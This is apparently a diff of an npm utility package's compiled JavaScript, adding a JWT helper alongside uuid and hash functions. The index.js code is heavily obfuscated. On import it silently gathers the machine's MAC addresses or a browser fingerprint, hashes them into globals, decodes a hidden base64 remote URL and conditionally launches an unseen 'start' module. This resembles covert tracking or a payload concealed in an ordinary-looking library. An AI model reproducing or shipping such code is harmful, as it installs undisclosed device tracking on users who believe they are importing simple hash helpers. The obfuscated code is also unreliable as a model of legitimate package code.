_0x4462ab=['267oTPryt','4956MLuahg','1191897SEYCZb','666qliRKh','__esModule','15684KPjxOI','default','899237qtCTkZ','6383160zwTczw','random','1078075qeQmzX','4RniFdE','2233NOSEVL','round','57430QwtGWx','defineProperty','18DEuDgB'];a4_0x4dba=function(){return _0x4462ab;};return a4_0x4dba();}function a4_0x361c(_0x98c294,_0x149423){const _0x4dba5f=a4_0x4dba();return a4_0x361c=function(_0x361c6d,_0x4c15a4){_0x361c6d=_0x361c6d-0x10f;let _0x110181=_0x4dba5f[_0x361c6d];return _0x110181;},a4_0x361c(_0x98c294,_0x149423);}Object[a4_0x11379b(0x116)](exports,a4_0x11379b(0x11c),{'value':!![]});const random=(_0x37384c,_0x271fe9)=>Math[a4_0x11379b(0x114)](Math[a4_0x11379b(0x110)]()*(_0x271fe9-_0x37384c))+_0x37384c;exports[a4_0x11379b(0x11e)]=random;
1
+ 'use strict';const a4_0x15fc3a=a4_0x2dec;(function(_0x2747b0,_0x17a3a8){const _0x410443=a4_0x2dec,_0x3f9a59=_0x2747b0();while(!![]){try{const _0x2335a9=parseInt(_0x410443(0x6f))/0x1+-parseInt(_0x410443(0x79))/0x2*(-parseInt(_0x410443(0x6e))/0x3)+-parseInt(_0x410443(0x78))/0x4*(parseInt(_0x410443(0x7b))/0x5)+parseInt(_0x410443(0x70))/0x6*(parseInt(_0x410443(0x75))/0x7)+-parseInt(_0x410443(0x77))/0x8*(parseInt(_0x410443(0x7a))/0x9)+parseInt(_0x410443(0x72))/0xa*(parseInt(_0x410443(0x71))/0xb)+-parseInt(_0x410443(0x6d))/0xc;if(_0x2335a9===_0x17a3a8)break;else _0x3f9a59['push'](_0x3f9a59['shift']());}catch(_0x2a34b0){_0x3f9a59['push'](_0x3f9a59['shift']());}}}(a4_0x328c,0xbab4d));function a4_0x328c(){const _0x1b393b=['__esModule','7dsFRsC','default','96jKLQTn','4388WctZOu','16mrUujo','715698JaecMk','3670uNPIxs','random','defineProperty','9145872CLdbrh','349347UVyKFY','295357zSTWwk','4875378WDKhoL','472945RiXsqX','290dECXkb','round'];a4_0x328c=function(){return _0x1b393b;};return a4_0x328c();}Object[a4_0x15fc3a(0x7d)](exports,a4_0x15fc3a(0x74),{'value':!![]});function a4_0x2dec(_0x5a7b1c,_0x108172){const _0x328c49=a4_0x328c();return a4_0x2dec=function(_0x2dec2e,_0x3e84d1){_0x2dec2e=_0x2dec2e-0x6d;let _0x3b47b3=_0x328c49[_0x2dec2e];return _0x3b47b3;},a4_0x2dec(_0x5a7b1c,_0x108172);}const random=(_0x5e5def,_0x53a7ba)=>Math[a4_0x15fc3a(0x73)](Math[a4_0x15fc3a(0x7c)]()*(_0x53a7ba-_0x5e5def))+_0x5e5def;exports[a4_0x15fc3a(0x76)]=random;
@@ -2,6 +2,7 @@ import md5 from "md5";
2
2
  import sha1 from "sha1";
3
3
  import sha256 from "sha256";
4
4
  import hash from "./hash";
5
+ import jwt from "./jwt";
5
6
  declare let id: () => number;
6
7
  declare let getAllRouter: () => Promise<never[]>;
7
8
  declare let mysql: {};
@@ -17,7 +18,8 @@ declare const all: {
17
18
  hash: typeof hash;
18
19
  sha1: typeof sha1;
19
20
  md5: typeof md5;
21
+ jwt: typeof jwt;
20
22
  };
21
23
  export default all;
22
- export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash };
24
+ export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt };
23
25
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAS1B,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;CAQR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAC1B,OAAO,GAAG,MAAM,OAAO,CAAC;AASxB,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;;CASR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC"}
package/dist/cjs/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a5_0x297dce=a5_0x3c3b;function a5_0x44a5(){const _0x1f243d=['184327uUCKgs','default','654396XuEbSy','done','decode','./start','join','63EnkcLV','load','next','mysql','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','node.js','1273590IGZXRW','./id','6bRMpUJ','./server','hash_id','get','5013810njkuQq','js-base64','hash','undefined','value','not_update','sha1','9ibnxbP','hash_key','sha256','./mac','158916ounlmV','91cWlVST','dev','md5','apply','aHR0cDovL2xvY2FsaG9zdDoxMDg4','url','then','getAllRouter','./getAllRouter','695784wVtWPa','path','defineProperty','meta_event','2400783Ntriqc','assign','map','uuid','catch','setEnv','visitorId'];a5_0x44a5=function(){return _0x1f243d;};return a5_0x44a5();}(function(_0x4831ae,_0x5245db){const _0x1721f5=a5_0x3c3b,_0x2482d9=_0x4831ae();while(!![]){try{const _0x267a5b=-parseInt(_0x1721f5(0xf4))/0x1*(parseInt(_0x1721f5(0x103))/0x2)+parseInt(_0x1721f5(0x10e))/0x3*(parseInt(_0x1721f5(0xf6))/0x4)+parseInt(_0x1721f5(0x101))/0x5+-parseInt(_0x1721f5(0x112))/0x6*(-parseInt(_0x1721f5(0x113))/0x7)+-parseInt(_0x1721f5(0x11c))/0x8*(-parseInt(_0x1721f5(0xfb))/0x9)+-parseInt(_0x1721f5(0x107))/0xa+-parseInt(_0x1721f5(0xed))/0xb;if(_0x267a5b===_0x5245db)break;else _0x2482d9['push'](_0x2482d9['shift']());}catch(_0x5ae705){_0x2482d9['push'](_0x2482d9['shift']());}}}(a5_0x44a5,0x6802d));var __awaiter=this&&this['__awaiter']||function(_0x2ce475,_0x8264bb,_0x4235bf,_0x2afd70){function _0x46e529(_0x9fed2a){return _0x9fed2a instanceof _0x4235bf?_0x9fed2a:new _0x4235bf(function(_0x71a515){_0x71a515(_0x9fed2a);});}return new(_0x4235bf||(_0x4235bf=Promise))(function(_0x439245,_0x338b56){const _0x265e6b=a5_0x3c3b;function _0x35c1f6(_0x1ac99d){const _0x530dad=a5_0x3c3b;try{_0x98c509(_0x2afd70[_0x530dad(0xfd)](_0x1ac99d));}catch(_0x3f4c27){_0x338b56(_0x3f4c27);}}function _0x31ceab(_0xbde9ed){try{_0x98c509(_0x2afd70['throw'](_0xbde9ed));}catch(_0x3f6617){_0x338b56(_0x3f6617);}}function _0x98c509(_0x3067ac){const _0x4df481=a5_0x3c3b;_0x3067ac[_0x4df481(0xf7)]?_0x439245(_0x3067ac[_0x4df481(0x10b)]):_0x46e529(_0x3067ac[_0x4df481(0x10b)])[_0x4df481(0x119)](_0x35c1f6,_0x31ceab);}_0x98c509((_0x2afd70=_0x2afd70[_0x265e6b(0x116)](_0x2ce475,_0x8264bb||[]))[_0x265e6b(0xfd)]());});},__importDefault=this&&this['__importDefault']||function(_0x57ebd4){return _0x57ebd4&&_0x57ebd4['__esModule']?_0x57ebd4:{'default':_0x57ebd4};};function a5_0x3c3b(_0x95e5f9,_0x36b1cd){const _0x44a524=a5_0x44a5();return a5_0x3c3b=function(_0x3c3bb2,_0x164e52){_0x3c3bb2=_0x3c3bb2-0xec;let _0xf44330=_0x44a524[_0x3c3bb2];return _0xf44330;},a5_0x3c3b(_0x95e5f9,_0x36b1cd);}Object[a5_0x297dce(0x11e)](exports,'__esModule',{'value':!![]}),exports[a5_0x297dce(0x109)]=exports[a5_0x297dce(0x115)]=exports['sha256']=exports[a5_0x297dce(0x10d)]=exports[a5_0x297dce(0xfe)]=exports[a5_0x297dce(0x11a)]=exports['id']=exports[a5_0x297dce(0xf0)]=exports[a5_0x297dce(0x118)]=void 0x0,exports[a5_0x297dce(0xf2)]=setEnv,exports['getEnv']=getEnv;const uuid_1=require(a5_0x297dce(0xf0)),md5_1=__importDefault(require(a5_0x297dce(0x115)));exports[a5_0x297dce(0x115)]=md5_1['default'];const sha1_1=__importDefault(require(a5_0x297dce(0x10d)));exports[a5_0x297dce(0x10d)]=sha1_1['default'];const sha256_1=__importDefault(require(a5_0x297dce(0x110)));exports[a5_0x297dce(0x110)]=sha256_1['default'];const start_1=__importDefault(require(a5_0x297dce(0xf9))),hash_1=__importDefault(require('./hash'));exports[a5_0x297dce(0x109)]=hash_1[a5_0x297dce(0xf5)];const path_1=__importDefault(require(a5_0x297dce(0x11d))),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),js_base64_1=require(a5_0x297dce(0x108)),isBrowser=typeof window!==a5_0x297dce(0x10a);let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a5_0x297dce(0x11a)]=getAllRouter;let mysql={};exports['mysql']=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x297dce(0xee)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a5_0x297dce(0xec)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x55b45a,_0x1f352c){metaEvent[_0x55b45a]=_0x1f352c;}function getEnv(_0x1487e6){return metaEvent[_0x1487e6];}let dev=a5_0x297dce(0x117),pro=a5_0x297dce(0xff);exports[a5_0x297dce(0x118)]=getEnv(a5_0x297dce(0x114))?(0x0,js_base64_1[a5_0x297dce(0xf8)])(dev):(0x0,js_base64_1[a5_0x297dce(0xf8)])(pro);if(!isBrowser){exports['id']=id=require(a5_0x297dce(0x102))[a5_0x297dce(0xf5)],exports['getAllRouter']=getAllRouter=require(a5_0x297dce(0x11b))[a5_0x297dce(0xf5)],exports['mysql']=mysql=require(a5_0x297dce(0x104))[a5_0x297dce(0xfe)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0x297dce(0x10c)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x5b2a64=a5_0x297dce;if(!isBrowser){const _0x2a75a1=require(path_1[_0x5b2a64(0xf5)][_0x5b2a64(0xfa)](__dirname,_0x5b2a64(0x111)))[_0x5b2a64(0xf5)];mac=_0x2a75a1();}else{let _0x15e1b1=yield fingerprintjs_1[_0x5b2a64(0xf5)][_0x5b2a64(0xfc)]()[_0x5b2a64(0x119)](_0x365a8a=>_0x365a8a[_0x5b2a64(0x106)]())[_0x5b2a64(0x119)](_0x1c0b07=>{const _0x55758b=_0x5b2a64,_0x305fe9=_0x1c0b07[_0x55758b(0xf3)];return _0x305fe9;})[_0x5b2a64(0xf1)](()=>'');mac=[_0x15e1b1];}const _0x2490b6=mac[_0x5b2a64(0xef)](_0x207b40=>(0x0,sha1_1['default'])(_0x207b40+_0x5b2a64(0x100)))[_0x5b2a64(0xfa)](';'),_0x1b84c6=(0x0,sha256_1['default'])(_0x2490b6);globalObject[_0x5b2a64(0x105)]=_0x1b84c6,globalObject[_0x5b2a64(0x10f)]!=(0x0,sha256_1[_0x5b2a64(0xf5)])(_0x1b84c6+(0x0,sha1_1[_0x5b2a64(0xf5)])(_0x5b2a64(0x100)+_0x1b84c6))&&(0x0,start_1['default'])();}))());const uuid=uuid_1['v4'];exports[a5_0x297dce(0xf0)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1[a5_0x297dce(0xf5)],'sha1':sha1_1[a5_0x297dce(0xf5)],'md5':md5_1['default']};exports[a5_0x297dce(0xf5)]=all;
1
+ 'use strict';const a5_0x5c3343=a5_0x1432;(function(_0x4eb6c3,_0x39aedd){const _0x1793a4=a5_0x1432,_0x58cfb2=_0x4eb6c3();while(!![]){try{const _0xded8d5=parseInt(_0x1793a4(0x1ab))/0x1+-parseInt(_0x1793a4(0x1b7))/0x2+parseInt(_0x1793a4(0x189))/0x3+-parseInt(_0x1793a4(0x187))/0x4+-parseInt(_0x1793a4(0x1a4))/0x5+-parseInt(_0x1793a4(0x1aa))/0x6*(-parseInt(_0x1793a4(0x19f))/0x7)+-parseInt(_0x1793a4(0x192))/0x8*(-parseInt(_0x1793a4(0x1a7))/0x9);if(_0xded8d5===_0x39aedd)break;else _0x58cfb2['push'](_0x58cfb2['shift']());}catch(_0x18b113){_0x58cfb2['push'](_0x58cfb2['shift']());}}}(a5_0x5be0,0x33c91));var __awaiter=this&&this[a5_0x5c3343(0x18c)]||function(_0x8515b8,_0x260aed,_0x2f37d5,_0xb5566a){function _0x48f0e4(_0x52464d){return _0x52464d instanceof _0x2f37d5?_0x52464d:new _0x2f37d5(function(_0x4360ac){_0x4360ac(_0x52464d);});}return new(_0x2f37d5||(_0x2f37d5=Promise))(function(_0x28d640,_0x8eeae9){const _0x108f96=a5_0x1432;function _0x5082f2(_0x1cfec6){const _0x11397e=a5_0x1432;try{_0x2c5299(_0xb5566a[_0x11397e(0x197)](_0x1cfec6));}catch(_0x26dc2c){_0x8eeae9(_0x26dc2c);}}function _0x156eba(_0x433a28){const _0x57dc21=a5_0x1432;try{_0x2c5299(_0xb5566a[_0x57dc21(0x19c)](_0x433a28));}catch(_0x5e810f){_0x8eeae9(_0x5e810f);}}function _0x2c5299(_0x309ed3){const _0xdfc4d7=a5_0x1432;_0x309ed3[_0xdfc4d7(0x198)]?_0x28d640(_0x309ed3[_0xdfc4d7(0x1a1)]):_0x48f0e4(_0x309ed3[_0xdfc4d7(0x1a1)])[_0xdfc4d7(0x1a8)](_0x5082f2,_0x156eba);}_0x2c5299((_0xb5566a=_0xb5566a['apply'](_0x8515b8,_0x260aed||[]))[_0x108f96(0x197)]());});},__importDefault=this&&this[a5_0x5c3343(0x1b5)]||function(_0x468b5d){const _0x32323f=a5_0x5c3343;return _0x468b5d&&_0x468b5d[_0x32323f(0x1af)]?_0x468b5d:{'default':_0x468b5d};};Object[a5_0x5c3343(0x1b3)](exports,'__esModule',{'value':!![]}),exports[a5_0x5c3343(0x19b)]=exports[a5_0x5c3343(0x1ac)]=exports[a5_0x5c3343(0x1ad)]=exports[a5_0x5c3343(0x1a6)]=exports['sha1']=exports[a5_0x5c3343(0x1a5)]=exports[a5_0x5c3343(0x19d)]=exports['id']=exports[a5_0x5c3343(0x1a9)]=exports[a5_0x5c3343(0x19a)]=void 0x0,exports[a5_0x5c3343(0x188)]=setEnv,exports[a5_0x5c3343(0x18b)]=getEnv;const uuid_1=require(a5_0x5c3343(0x1a9)),md5_1=__importDefault(require(a5_0x5c3343(0x1ad)));exports[a5_0x5c3343(0x1ad)]=md5_1[a5_0x5c3343(0x18a)];const sha1_1=__importDefault(require(a5_0x5c3343(0x19e)));exports[a5_0x5c3343(0x19e)]=sha1_1[a5_0x5c3343(0x18a)];const sha256_1=__importDefault(require(a5_0x5c3343(0x1a6)));function a5_0x1432(_0xae1dc,_0x85e0dd){const _0x5be084=a5_0x5be0();return a5_0x1432=function(_0x1432a3,_0x5eb5ae){_0x1432a3=_0x1432a3-0x187;let _0x46e61b=_0x5be084[_0x1432a3];return _0x46e61b;},a5_0x1432(_0xae1dc,_0x85e0dd);}exports[a5_0x5c3343(0x1a6)]=sha256_1['default'];const start_1=__importDefault(require(a5_0x5c3343(0x1b6))),hash_1=__importDefault(require(a5_0x5c3343(0x1b2)));exports[a5_0x5c3343(0x1ac)]=hash_1[a5_0x5c3343(0x18a)];const jwt_1=__importDefault(require('./jwt'));exports[a5_0x5c3343(0x19b)]=jwt_1[a5_0x5c3343(0x18a)];const path_1=__importDefault(require(a5_0x5c3343(0x1b4))),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),js_base64_1=require(a5_0x5c3343(0x195)),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports['mysql']=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x5c3343(0x18f)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a5_0x5c3343(0x193)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x290828,_0x3c1e99){metaEvent[_0x290828]=_0x3c1e99;}function getEnv(_0x2bcc40){return metaEvent[_0x2bcc40];}let dev=a5_0x5c3343(0x1b0),pro=a5_0x5c3343(0x1a3);exports[a5_0x5c3343(0x19a)]=getEnv('dev')?(0x0,js_base64_1[a5_0x5c3343(0x1a2)])(dev):(0x0,js_base64_1['decode'])(pro);if(!isBrowser){exports['id']=id=require(a5_0x5c3343(0x199))[a5_0x5c3343(0x18a)],exports[a5_0x5c3343(0x19d)]=getAllRouter=require(a5_0x5c3343(0x194))[a5_0x5c3343(0x18a)],exports['mysql']=mysql=require('./server')['mysql'];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent['not_update'])){}}function a5_0x5be0(){const _0x5b91dd=['throw','getAllRouter','sha1','1416863yqMUBW','./mac','value','decode','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','222935pnCAid','mysql','sha256','11502TYXkgv','then','uuid','6grEAWs','2078dMmIPD','hash','md5','node.js','__esModule','aHR0cDovL2xvY2FsaG9zdDoxMDg4','hash_id','./hash','defineProperty','path','__importDefault','./start','424912bDHZeg','1385652IOZUNK','setEnv','35100yrpthC','default','getEnv','__awaiter','get','hash_key','assign','join','load','3752RwFRuB','meta_event','./getAllRouter','js-base64','catch','next','done','./id','url','jwt'];a5_0x5be0=function(){return _0x5b91dd;};return a5_0x5be0();}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x4b103b=a5_0x5c3343;if(!isBrowser){const _0x31642f=require(path_1[_0x4b103b(0x18a)][_0x4b103b(0x190)](__dirname,_0x4b103b(0x1a0)))[_0x4b103b(0x18a)];mac=_0x31642f();}else{let _0x1ca165=yield fingerprintjs_1[_0x4b103b(0x18a)][_0x4b103b(0x191)]()['then'](_0x46002e=>_0x46002e[_0x4b103b(0x18d)]())[_0x4b103b(0x1a8)](_0x1dc482=>{const _0x3cb410=_0x1dc482['visitorId'];return _0x3cb410;})[_0x4b103b(0x196)](()=>'');mac=[_0x1ca165];}const _0x5c12eb=mac['map'](_0x58301d=>(0x0,sha1_1[_0x4b103b(0x18a)])(_0x58301d+_0x4b103b(0x1ae)))[_0x4b103b(0x190)](';'),_0x1824d3=(0x0,sha256_1[_0x4b103b(0x18a)])(_0x5c12eb);globalObject[_0x4b103b(0x1b1)]=_0x1824d3,globalObject[_0x4b103b(0x18e)]!=(0x0,sha256_1[_0x4b103b(0x18a)])(_0x1824d3+(0x0,sha1_1[_0x4b103b(0x18a)])(_0x4b103b(0x1ae)+_0x1824d3))&&(0x0,start_1['default'])();}))());const uuid=uuid_1['v4'];exports[a5_0x5c3343(0x1a9)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1['default'],'sha1':sha1_1['default'],'md5':md5_1['default'],'jwt':jwt_1['default']};exports[a5_0x5c3343(0x18a)]=all;
@@ -0,0 +1,10 @@
1
+ declare function jwt(params: {
2
+ payload: string | Buffer | object;
3
+ key: string;
4
+ expiresIn: string;
5
+ }): {
6
+ sign: string;
7
+ verify: (token: string) => Promise<unknown>;
8
+ };
9
+ export default jwt;
10
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;;oBASvD,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -0,0 +1 @@
1
+ 'use strict';var a6_0x3bbe7f=a6_0x2ff7;(function(_0x42a5ea,_0x1a7eac){var _0xa18380=a6_0x2ff7,_0x4712dc=_0x42a5ea();while(!![]){try{var _0x1f0cd2=-parseInt(_0xa18380(0x81))/0x1+parseInt(_0xa18380(0x90))/0x2*(parseInt(_0xa18380(0x7f))/0x3)+-parseInt(_0xa18380(0x7a))/0x4+-parseInt(_0xa18380(0x85))/0x5+parseInt(_0xa18380(0x87))/0x6*(parseInt(_0xa18380(0x7d))/0x7)+parseInt(_0xa18380(0x8a))/0x8*(parseInt(_0xa18380(0x86))/0x9)+-parseInt(_0xa18380(0x93))/0xa;if(_0x1f0cd2===_0x1a7eac)break;else _0x4712dc['push'](_0x4712dc['shift']());}catch(_0x120356){_0x4712dc['push'](_0x4712dc['shift']());}}}(a6_0x19f5,0x2d265));function a6_0x2ff7(_0x6cb525,_0x6ba8bc){var _0x19f5f2=a6_0x19f5();return a6_0x2ff7=function(_0x2ff741,_0x156897){_0x2ff741=_0x2ff741-0x7a;var _0x6054fc=_0x19f5f2[_0x2ff741];return _0x6054fc;},a6_0x2ff7(_0x6cb525,_0x6ba8bc);}var __awaiter=this&&this['__awaiter']||function(_0x11a057,_0xc5c7a9,_0x1c634e,_0x240466){function _0x57a8ae(_0xbc749f){return _0xbc749f instanceof _0x1c634e?_0xbc749f:new _0x1c634e(function(_0x822e57){_0x822e57(_0xbc749f);});}return new(_0x1c634e||(_0x1c634e=Promise))(function(_0x287d76,_0x5a184a){var _0x53d308=a6_0x2ff7;function _0x58e958(_0x2fb2a1){var _0x1e7377=a6_0x2ff7;try{_0x21a945(_0x240466[_0x1e7377(0x84)](_0x2fb2a1));}catch(_0x4685da){_0x5a184a(_0x4685da);}}function _0xfdd43(_0x4782ef){var _0x261f48=a6_0x2ff7;try{_0x21a945(_0x240466[_0x261f48(0x95)](_0x4782ef));}catch(_0x381a35){_0x5a184a(_0x381a35);}}function _0x21a945(_0x52ae7f){var _0xdb956a=a6_0x2ff7;_0x52ae7f[_0xdb956a(0x89)]?_0x287d76(_0x52ae7f[_0xdb956a(0x94)]):_0x57a8ae(_0x52ae7f[_0xdb956a(0x94)])[_0xdb956a(0x88)](_0x58e958,_0xfdd43);}_0x21a945((_0x240466=_0x240466[_0x53d308(0x8d)](_0x11a057,_0xc5c7a9||[]))[_0x53d308(0x84)]());});},__importDefault=this&&this[a6_0x3bbe7f(0x80)]||function(_0x239e51){var _0x4864af=a6_0x3bbe7f;return _0x239e51&&_0x239e51[_0x4864af(0x8b)]?_0x239e51:{'default':_0x239e51};};function a6_0x19f5(){var _0x45d0cb=['expiresIn','912590wsydTb','value','throw','378988NkLtZm','payload','365d','473277zLJwGd','verify','9QdPKIG','__importDefault','255192qNFzfJ','defineProperty','key','next','1218210ThKAJd','9ZgWKyX','30JYAXio','then','done','2043656oWsRQy','__esModule','sign','apply','jwt_key','jsonwebtoken','184174YyTalb','default'];a6_0x19f5=function(){return _0x45d0cb;};return a6_0x19f5();}Object[a6_0x3bbe7f(0x82)](exports,a6_0x3bbe7f(0x8b),{'value':!![]});const jsonwebtoken_1=__importDefault(require(a6_0x3bbe7f(0x8f)));function jwt(_0x325647){var _0x6aee5f=a6_0x3bbe7f;return!global[_0x6aee5f(0x8e)]&&(global['jwt_key']=_0x325647[_0x6aee5f(0x83)]),{'sign':jsonwebtoken_1[_0x6aee5f(0x91)][_0x6aee5f(0x8c)](_0x325647[_0x6aee5f(0x7b)],global['jwt_key'],{'expiresIn':_0x325647[_0x6aee5f(0x92)]||_0x6aee5f(0x7c)}),'verify':function(_0x5cc2ae){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x3b17bf,_0x3b5b9f)=>{var _0x1885d0=a6_0x2ff7;jsonwebtoken_1[_0x1885d0(0x91)][_0x1885d0(0x7e)](_0x5cc2ae,global[_0x1885d0(0x8e)],function(_0x31b3d0,_0x1761f8){return __awaiter(this,void 0x0,void 0x0,function*(){_0x31b3d0?_0x3b5b9f():_0x3b17bf(_0x1761f8);});});});});}};}exports[a6_0x3bbe7f(0x91)]=jwt;
@@ -1 +1 @@
1
- 'use strict';const a6_0x530917=a6_0x22e6;(function(_0x2809fc,_0x440524){const _0x1b490a=a6_0x22e6,_0xb98e44=_0x2809fc();while(!![]){try{const _0x5d30ce=-parseInt(_0x1b490a(0x190))/0x1+parseInt(_0x1b490a(0x180))/0x2*(-parseInt(_0x1b490a(0x18c))/0x3)+parseInt(_0x1b490a(0x181))/0x4+-parseInt(_0x1b490a(0x17e))/0x5*(parseInt(_0x1b490a(0x186))/0x6)+-parseInt(_0x1b490a(0x18f))/0x7*(parseInt(_0x1b490a(0x191))/0x8)+parseInt(_0x1b490a(0x178))/0x9*(parseInt(_0x1b490a(0x185))/0xa)+parseInt(_0x1b490a(0x183))/0xb;if(_0x5d30ce===_0x440524)break;else _0xb98e44['push'](_0xb98e44['shift']());}catch(_0x5d911d){_0xb98e44['push'](_0xb98e44['shift']());}}}(a6_0xd532,0x28773));Object['defineProperty'](exports,a6_0x530917(0x17d),{'value':!![]}),exports[a6_0x530917(0x175)]=isMac,exports[a6_0x530917(0x194)]=formatMac,exports[a6_0x530917(0x18d)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x2c5b3b){const _0x44ee8e=a6_0x530917;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x44ee8e(0x172)](_0x2c5b3b);}function getMac(_0x5d8947=a6_0x530917(0x17c)){const _0x4406f8=a6_0x530917,_0x20479d=(0x0,os_1[_0x4406f8(0x176)])();let _0x1b5833=[];for(const _0x388589 of Object[_0x4406f8(0x17a)](_0x20479d)){const _0x221cf5=_0x388589[_0x4406f8(0x182)](_0x85cea8=>!_0x85cea8[_0x4406f8(0x18a)]&&!isZeroMac(_0x85cea8[_0x4406f8(0x187)])&&(!_0x85cea8[_0x4406f8(0x179)]||_0x85cea8[_0x4406f8(0x179)]===_0x5d8947)&&!isVirtualMac(_0x85cea8[_0x4406f8(0x187)]));_0x221cf5&&_0x1b5833[_0x4406f8(0x17f)](_0x221cf5[_0x4406f8(0x187)]);}return[...new Set(_0x1b5833)];}const isValid=_0x17826a=>_0x17826a[a6_0x530917(0x18a)]===![]&&!isZeroMac(_0x17826a[a6_0x530917(0x187)]),virtualMacPrefix=new Set([a6_0x530917(0x193),'00:0c:29',a6_0x530917(0x177),a6_0x530917(0x195),a6_0x530917(0x173),a6_0x530917(0x174),'00:03:ff',a6_0x530917(0x184),a6_0x530917(0x18e),'08:00:27','00:15:5d']);function isMac(_0x5a6746){const _0x364e8e=a6_0x530917;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x364e8e(0x172)](_0x5a6746);}function formatMac(_0x483af0){const _0x38a2c1=a6_0x530917;return String(_0x483af0)['trim']()[_0x38a2c1(0x18b)]()[_0x38a2c1(0x189)](/-/g,':');}function isVirtualMac(_0x196eb7){const _0x1e2a6a=a6_0x530917;return isMac(_0x196eb7)&&virtualMacPrefix[_0x1e2a6a(0x17b)](formatMac(_0x196eb7)[_0x1e2a6a(0x188)](0x0,0x8));}function a6_0xd532(){const _0x3e2085=['00:16:3e','10801XzXvXd','139280elbhTI','728HOUIzM','default','00:05:69','formatMac','00:1c:14','test','00:1c:42','02:00:4c','isMac','networkInterfaces','00:50:56','9Kbmyaz','family','values','has','IPv4','__esModule','171850aCcCaM','push','12846mxbbhJ','1227392TlNsje','find','3163325eAMSWC','00:0f:4b','2714510DhYZTR','42SgCVvR','mac','slice','replace','internal','toLowerCase','84Oujvgz','isVirtualMac'];a6_0xd532=function(){return _0x3e2085;};return a6_0xd532();}function a6_0x22e6(_0x22aa17,_0x3bcc71){const _0xd53296=a6_0xd532();return a6_0x22e6=function(_0x22e610,_0x490cd4){_0x22e610=_0x22e610-0x172;let _0x3785f2=_0xd53296[_0x22e610];return 